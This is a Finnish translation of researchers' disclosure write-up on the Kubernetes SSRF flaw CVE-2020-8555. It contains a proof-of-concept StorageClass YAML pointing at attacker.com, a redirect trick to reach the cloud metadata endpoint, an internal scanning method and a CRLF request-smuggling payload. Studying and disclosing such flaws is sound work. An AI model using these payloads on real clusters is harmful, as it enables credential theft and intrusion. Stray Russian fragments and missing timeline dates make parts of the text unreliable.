🥇Kun kyse ei ole vain Kubernetesin haavoittuvuudesta...

Huomautus. käännös: tämän artikkelin kirjoittajat kertovat yksityiskohtaisesti siitä, kuinka he onnistuivat löytämään haavoittuvuuden CVE-2020-8555 Kubernetesissa. Vaikka se ei aluksi tuntunut kovin vaaralliselta, yhdessä muiden tekijöiden kanssa sen kriittisyys osoittautui joillekin pilvipalveluntarjoajille maksimaaliseksi. Useat organisaatiot palkitsivat asiantuntijat avokätisesti heidän työstään.

Keitä me olemme

Olemme kaksi ranskalaista turvallisuustutkijaa, jotka yhdessä löysivät haavoittuvuuden Kubernetesista. Nimemme ovat Brice Augras ja Christophe Hauquiert, mutta monilla Bug Bounty -alustoilla meidät tunnetaan nimellä Reeverzax ja Hach:

Brice Augras - Groupe Asten Company;
Christophe Hauquiert - Kubernetes-arkkitehti Nokialla.

Mitä tapahtui?

Tämä artikkeli on tapamme kertoa, kuinka tavallisesta tutkimusprojektista tuli yllättäen vianmetsästäjien elämän jännittävin seikkailu (ainakin toistaiseksi).

Kuten luultavasti tiedät, vianmetsästäjillä on pari merkittävää ominaisuutta:

he elävät pizzalla ja oluella;
ne toimivat, kun kaikki muut nukkuvat.

Emme ole poikkeus näihin sääntöihin: tapaamme yleensä viikonloppuisin ja vietämme unettomia öitä hakkerointiin. Mutta yksi näistä öistä päättyi hyvin epätavallisella tavalla.

Aluksi oli tarkoitus tavata keskustelemaan osallistumisesta CTF seuraava päivä. Keskustellessamme Kubernetes-tietoturvasta hallitussa palveluympäristössä muistimme vanhan ajatuksen SSRF:stä (Palvelinpuolen pyyntöväärennös) ja päätti yrittää käyttää sitä hyökkäyskomentosarjana.

Klo 11 istuimme alas tekemään tutkimusta ja menimme aikaisin aamulla nukkumaan, erittäin tyytyväisinä tuloksiin. Juuri tämän tutkimuksen ansiosta törmäsimme MSRC Bug Bounty -ohjelmaan ja keksimme etuoikeuksien eskaloinnin hyväksikäytön.

Kului useita viikkoja/kuukausia, ja odottamaton tuloksemme johti yhteen Azure Cloud Bug Bountyn historian korkeimmista palkinnoista - sen lisäksi, jonka saimme Kubernetesilta!

Tutkimusprojektimme perusteella Kubernetes Product Security Committee julkaisi CVE-2020-8555.

Nyt haluaisin levittää tietoa löydetystä haavoittuvuudesta mahdollisimman paljon. Toivomme, että arvostat löytöä ja jaat tekniset tiedot muiden infosec-yhteisön jäsenten kanssa!

Joten tässä meidän tarinamme...

konteksti

Jotta tapahtuneesta olisi mahdollisimman paljon järkeä, katsotaanpa ensin, kuinka Kubernetes toimii pilvihallinnassa.

Kun luot Kubernetes-klusterin tällaisessa ympäristössä, hallintakerros on yleensä pilvipalveluntarjoajan vastuulla:

Ohjauskerros sijaitsee pilvipalvelun tarjoajan kehällä, kun taas Kubernetes-solmut sijaitsevat asiakkaan kehällä

Taltioiden allokoimiseksi dynaamisesti käytetään mekanismia, joka tuottaa ne dynaamisesti ulkoisesta tallennustaustasta ja vertaa niitä PVC:hen (pysyvä tilavuusvaatimus, eli pyyntö taltiolle).

Siten, kun PVC on luotu ja sidottu K8s-klusterin StorageClassiin, kube/pilviohjaimen hallinta ottaa haltuunsa lisätoiminnot äänenvoimakkuuden lisäämiseksi (sen tarkka nimi riippuu julkaisusta). (Huomautus. käännös: Olemme jo kirjoittaneet lisää CCM:stä käyttämällä esimerkkiä sen toteutuksesta yhdelle pilvipalveluntarjoajalta täällä.)

Kubernetes tukee usean tyyppisiä provisiolaitteita: useimmat niistä sisältyvät orkestraattorin ydin, kun taas toisia hallitaan ylimääräisillä hallintaohjelmilla, jotka on sijoitettu klusterin koteloihin.

Tutkimuksessamme keskityimme sisäiseen volyymin hallintamekanismiin, joka on kuvattu alla:

Taltioiden dynaaminen hallinta sisäänrakennetun Kubernetes-hallintaohjelman avulla

Lyhyesti sanottuna, kun Kubernetes otetaan käyttöön hallitussa ympäristössä, ohjaimen hallinta on pilvipalveluntarjoajan vastuulla, mutta taltion luontipyyntö (numero 3 yllä olevassa kaaviossa) poistuu pilvipalveluntarjoajan sisäisestä verkosta. Ja tässä asiat ovat todella mielenkiintoisia!

Hakkerointi skenaario

Tässä osiossa selitämme, kuinka hyödynsimme yllä mainittua työnkulkua ja pääsimme pilvipalvelun tarjoajan sisäisiin resursseihin. Se näyttää myös, kuinka voit suorittaa tiettyjä toimintoja, kuten hankkia sisäisiä tunnistetietoja tai laajentaa käyttöoikeuksia.

Yksi yksinkertainen manipulointi (tässä tapauksessa Service Side Request Forgery) auttoi siirtymään asiakasympäristön ulkopuolelle eri palveluntarjoajien klustereiksi hallittujen K8:iden alla.

Tutkimuksessamme keskityimme GlusterFS-hallintaohjelmaan. Huolimatta siitä, että jatkotoimintojen järjestys on kuvattu tässä yhteydessä, Quobyte, StorageOS ja ScaleIO ovat alttiita samalle haavoittuvuudelle.

Dynaamisen volyymin hallintamekanismin väärinkäyttö

Tallennusluokka-analyysin aikana GlusterFS Golang-asiakkaan lähdekoodissa me huomannutettä ensimmäisessä HTTP-pyynnössä (3), joka lähetetään taltion luomisen aikana, parametrin mukautetun URL-osoitteen loppuun resturl lisätään /volumes.

Päätimme päästä eroon tästä lisäpolusta lisäämällä # parametrissa resturl. Tässä on ensimmäinen YAML-kokoonpano, jolla testasimme puolisokean SSRF-haavoittuvuuden (voit lukea lisää puolisokeasta tai puolisokeasta SSRF:stä, esim. täällä - noin käännös.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Sitten käytimme binaaria Kubernetes-klusterin etähallintaan kubectl. Tyypillisesti pilvipalveluntarjoajat (Azure, Google, AWS jne.) antavat sinun hankkia kirjautumistiedot käytettäväksi tässä apuohjelmassa.

Tämän ansiosta pystyin käyttämään "erityistä" tiedostoani. Kube-controller-manager suoritti tuloksena olevan HTTP-pyynnön:

kubectl create -f sc-poc.yaml

Vastaus hyökkääjän näkökulmasta

Pian tämän jälkeen saimme myös HTTP-vastauksen kohdepalvelimelta - komentojen kautta describe pvc tai get events julkaisussa kubectl. Ja todellakin: tämä Kubernetes-oletusohjain on liian monisanainen varoituksissaan/virheviesteissään...

Tässä esimerkki, jossa on linkki https://www.google.frasettaa parametriksi resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Tässä lähestymistavassa rajoittuimme kyselyihin, kuten HTTP POST ja ei voinut saada vastauksen rungon sisältöä, jos palautuskoodi oli 201. Siksi päätimme tehdä lisätutkimuksia ja laajensimme tätä hakkerointiskenaariota uusilla lähestymistavoilla.

Tutkimuksemme kehitys

Edistynyt skenaario #1: 302-uudelleenohjauksen käyttäminen ulkoisesta palvelimesta HTTP-menetelmän muuttamiseen, jotta sisäisten tietojen kerääminen olisi joustavampi.
Edistynyt skenaario #2: Automatisoi LAN-skannaus ja sisäisten resurssien etsintä.
Edistynyt skenaario 3: HTTP CRLF + salakuljetus ("salakuljetuspyyntö") räätälöityjen HTTP-pyyntöjen luomiseen ja kube-ohjainten lokeista poimittujen tietojen hakemiseen.

Tekniset tiedot

Tutkimuksessa käytettiin Azure Kubernetes Serviceä (AKS) Kubernetesin version 1.12 kanssa Pohjois-Euroopan alueella.
Yllä kuvatut skenaariot toteutettiin Kubernetesin uusimmissa julkaisuissa, lukuun ottamatta kolmatta skenaariota, koska hän tarvitsi Kubernetesin, joka oli rakennettu Golang-versiolla ≤ 1.12.
Hyökkääjän ulkoinen palvelin - https://attacker.com.

Edistynyt skenaario #1: HTTP POST -pyynnön uudelleenohjaus GET:iin ja arkaluonteisten tietojen vastaanottaminen

Alkuperäistä menetelmää parannettiin hyökkääjän paluupalvelimen määrityksellä 302 HTTP RetcodePOST-pyynnön muuntaminen GET-pyynnöksi (kaavion vaihe 4):

Ensimmäinen pyyntö (3) tulee asiakkaalta GlusterFS (Controller Manager), on POST-tyyppi. Seuraamalla näitä vaiheita pystyimme muuttamaan sen GET:ksi:

Parametrina resturl StorageClassissa se on merkitty http://attacker.com/redirect.php.
päätepiste https://attacker.com/redirect.php vastaa 302 HTTP-tilakoodilla, jossa on seuraava sijaintiotsikko: http://169.254.169.254. Tämä voi olla mikä tahansa muu sisäinen resurssi - tässä tapauksessa uudelleenohjauslinkkiä käytetään vain esimerkkinä.
Oletuksena net/http-kirjasto Golang ohjaa pyynnön uudelleen ja muuntaa POST:n GET:ksi 302-tilakoodilla, mikä johtaa HTTP GET -pyynnön kohderesurssiin.

HTTP-vastauksen rungon lukemiseksi sinun on tehtävä describe PVC esine:

kubectl describe pvc xxx

Tässä on esimerkki JSON-muodossa olevasta HTTP-vastauksesta, jonka pystyimme vastaanottamaan:

Löydetyn haavoittuvuuden ominaisuudet olivat tuolloin rajoitettuja seuraavista syistä:

HTTP-otsikoiden lisääminen lähtevään pyyntöön ei onnistu.
Kyvyttömyys suorittaa POST-pyyntöä rungossa olevilla parametreilla (tämä on kätevää pyytää avainarvoa etcd-esiintymältä, joka on käynnissä 2379 portti, jos käytetään salaamatonta HTTP:tä).
Ei pystytty hakemaan vastauksen runkosisältöä, kun tilakoodi oli 200 ja vastauksella ei ollut JSON-sisältötyyppiä.

Edistynyt skenaario #2: Paikallisverkon skannaus

Tällä puolisokealla SSRF-menetelmällä skannattiin sitten pilvipalveluntarjoajan sisäinen verkko ja eri kuuntelupalveluita (metadata-ilmentymä, Kubelet jne.) vastausten perusteella. kube ohjain.

Ensin määritettiin Kubernetes-komponenttien standardikuunteluportit (8443, 10250, 10251 jne.), ja sitten piti automatisoida skannausprosessi.

Koska tämä menetelmä resurssien skannaamiseen on hyvin spesifinen eikä ole yhteensopiva klassisten skannerien ja SSRF-työkalujen kanssa, päätimme luoda omat työntekijämme bash-skriptillä, joka automatisoi koko prosessin.

Esimerkiksi sisäisen verkon alueen 172.16.0.0/12 nopeaa skannausta varten käynnistettiin 15 työntekijää rinnakkain. Yllä oleva IP-alue on valittu vain esimerkkinä, ja se voi muuttua tietyn palveluntarjoajan IP-alueen mukaan.

Jos haluat skannata yhden IP-osoitteen ja yhden portin, sinun on toimittava seuraavasti:

poista viimeksi tarkistettu StorageClass;
poista edellinen vahvistettu Pysyvän volyymin vaatimus;
muuta IP- ja porttiarvot sc.yaml;
luo StorageClass uudella IP-osoitteella ja portilla;
luoda uusi PVC;
poimi skannaustulokset käyttämällä PVC:n kuvausta.

Edistynyt skenaario #3: CRLF-injektio + HTTP:n salakuljetus Kubernetes-klusterin "vanhoissa" versioissa

Jos tämän lisäksi palveluntarjoaja tarjosi asiakkaille K8s-klusterin vanhoja versioita и antoi heille pääsyn kube-controller-managerin lokeihin, vaikutuksesta tuli vieläkin merkittävämpi.

Hyökkääjän on todellakin paljon helpompaa muuttaa HTTP-pyyntöjä, jotka on suunniteltu saamaan täydellinen HTTP-vastaus oman harkintansa mukaan.

Viimeisen skenaarion toteuttaminen edellyttää, että seuraavat ehdot täyttyvät:

Käyttäjällä on oltava pääsy kube-controller-manager-lokeihin (kuten esimerkiksi Azure LogInsightsissa).
Kubernetes-klusterin on käytettävä Golangin versiota, joka on vanhempi kuin 1.12.

Otimme käyttöön paikallisen ympäristön, joka simuloi viestintää GlusterFS Go -asiakkaan ja väärennetyn kohdepalvelimen välillä (emme julkaise PoC:ta toistaiseksi).

Havaittiin haavoittuvuus, joka vaikuttaa Golangin 1.12:ta alempiin versioihin ja sallii hakkereiden suorittaa HTTP-salakuljetus-/CRLF-hyökkäyksiä.

Yhdistämällä yllä kuvattu puolisokko SSRF вместе Tämän avulla pystyimme lähettämään mieleisemme pyyntöjä, mukaan lukien otsikoiden, HTTP-menetelmän, parametrien ja tietojen korvaaminen, jotka kube-controller-manager sitten käsitteli.

Tässä on esimerkki toimivasta "syötistä" parametrissa resturl StorageClass, joka toteuttaa samanlaisen hyökkäysskenaarion:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Tuloksena on virhe ei-toivottua vastausta, viesti, josta tallennetaan ohjaimen lokeihin. Oletusarvoisesti käyttöönotetun monisanaisuuden ansiosta sinne tallennetaan myös HTTP-vastausviestin sisältö.

Tämä oli tehokkain "syöttimme" konseptin todisteiden puitteissa.

Tätä lähestymistapaa käyttämällä pystyimme suorittamaan joitain seuraavista hyökkäyksistä eri hallittujen k8s-palveluntarjoajien klustereita vastaan: oikeuksien eskalointi valtuustiedoilla metatieto-ilmentymissä, Master DoS (salaamattomien) HTTP-pyyntöjen kautta etcd-pääesiintymissä jne.

Jälkiseuraukset

Kubernetesin virallisessa lausunnossa havaitsemamme SSRF-haavoittuvuudesta se arvioitiin CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Jos otamme huomioon vain Kubernetesin kehään liittyvän haavoittuvuuden, eheysvektorin (eheysvektori) se kelpuutetaan Ei eristetty.

Kuitenkin mahdollisten seurausten arvioiminen hallitun palveluympäristön kontekstissa (ja tämä oli tutkimuksemme mielenkiintoisin osa!) sai meidät luokittelemaan haavoittuvuuden uudelleen luokitukseksi Kriittinen CVSS10/10 monille jakelijoille.

Alla on lisätietoja, jotka auttavat sinua ymmärtämään huomiomme, kun arvioit mahdollisia vaikutuksia pilviympäristöissä:

eheys

Suorita komentoja etänä hankituilla sisäisillä valtuustiedoilla.
Yllä olevan skenaarion toistaminen IDOR-menetelmällä (Insecure Direct Object Reference) muiden paikallisverkon resurssien kanssa.

Luottamuksellisuus

Hyökkäystyyppi Sivusuuntainen liike pilvitunnistetietojen (esimerkiksi metadata API) varastamisen ansiosta.
Tietojen kerääminen skannaamalla paikallisverkkoa (SSH-version, HTTP-palvelimen version määrittäminen, ...).
Kerää ilmentymän ja infrastruktuurin tiedot kyselyillä sisäisillä API:lla, kuten metadata API (http://169.254.169.254,…).
Varastaa asiakastietoja pilvitunnuksilla.

saatavuus

Kaikki hyväksikäyttöskenaariot, jotka liittyvät hyökkäysvektoreihin eheys, voidaan käyttää tuhoaviin toimiin ja johtaa siihen, että pääesiintymät asiakkaan ulkopuolelta (tai mistä tahansa muusta) eivät ole käytettävissä.

Koska olimme hallitussa K8s-ympäristössä ja arvioimme vaikutusta eheyteen, voimme kuvitella monia skenaarioita, jotka voivat vaikuttaa saatavuuteen. Muita esimerkkejä ovat etcd-tietokannan vioittaminen tai kriittisen kutsun tekeminen Kubernetes API:lle.

kronologia

6. joulukuuta 2019: Haavoittuvuudesta ilmoitettiin MSRC Bug Bountylle.
3. tammikuuta 2020: Kolmas osapuoli ilmoitti Kubernetes-kehittäjille, että työskentelemme tietoturvaongelman parissa. Ja pyysi heitä pitämään SSRF:ää sisäisenä (ytimen sisäisenä) haavoittuvuutena. Tämän jälkeen toimitimme yleisraportin, joka sisältää tekniset tiedot ongelman lähteestä.
15: Toimitimme teknisiä ja yleisiä raportteja Kubernetes-kehittäjille heidän pyynnöstään (HackerOne-alustan kautta).
15. tammikuuta 2020: Kubernetes-kehittäjät ilmoittivat meille, että puolisokko SSRF + CRLF-injektio aiemmille julkaisuille katsotaan ytimen sisäiseksi haavoittuvuudeksi. Lopetimme välittömästi muiden palveluntarjoajien äärirajojen analysoinnin: K8s-tiimi käsitteli nyt perimmäistä syytä.
15. tammikuuta 2020: MSRC-palkinto vastaanotettu HackerOnen kautta.
16: Kubernetes PSC (Product Security Committee) tunnisti haavoittuvuuden ja pyysi pitämään sen salassa maaliskuun puoliväliin asti mahdollisten uhrien suuren määrän vuoksi.
11. helmikuuta 2020: Google VRP -palkinto vastaanotettu.
4. maaliskuuta 2020: Kubernetes-palkinto vastaanotettu HackerOnen kautta.
15: Alun perin suunniteltu julkistaminen siirrettiin COVID-2020-tilanteen vuoksi.
1. kesäkuuta 2020: Kubernetes + Microsoftin yhteinen lausunto haavoittuvuudesta.

TL; DR

Juomme olutta ja syömme pizzaa :)
Löysimme Kubernetesista ydinhaavoittuvuuden, vaikka meillä ei ollut aikomustakaan tehdä niin.
Teimme lisäanalyysin eri pilvipalveluntarjoajien klustereista ja pystyimme lisäämään haavoittuvuuden aiheuttamaa vahinkoa saadaksemme mahtavia lisäbonuksia.
Löydät paljon teknisiä yksityiskohtia tästä artikkelista. Keskustelemme niistä mielellämme kanssasi (Twitter: @ReeverZax & @__hach_).
Kävi ilmi, että kaikenlaiset muodollisuudet ja raportointi kesti paljon odotettua kauemmin.

viittaukset

PS kääntäjältä

Lue myös blogistamme:

Lähde: will.com

Kun kyse ei ole vain Kubernetes-haavoittuvuuksista...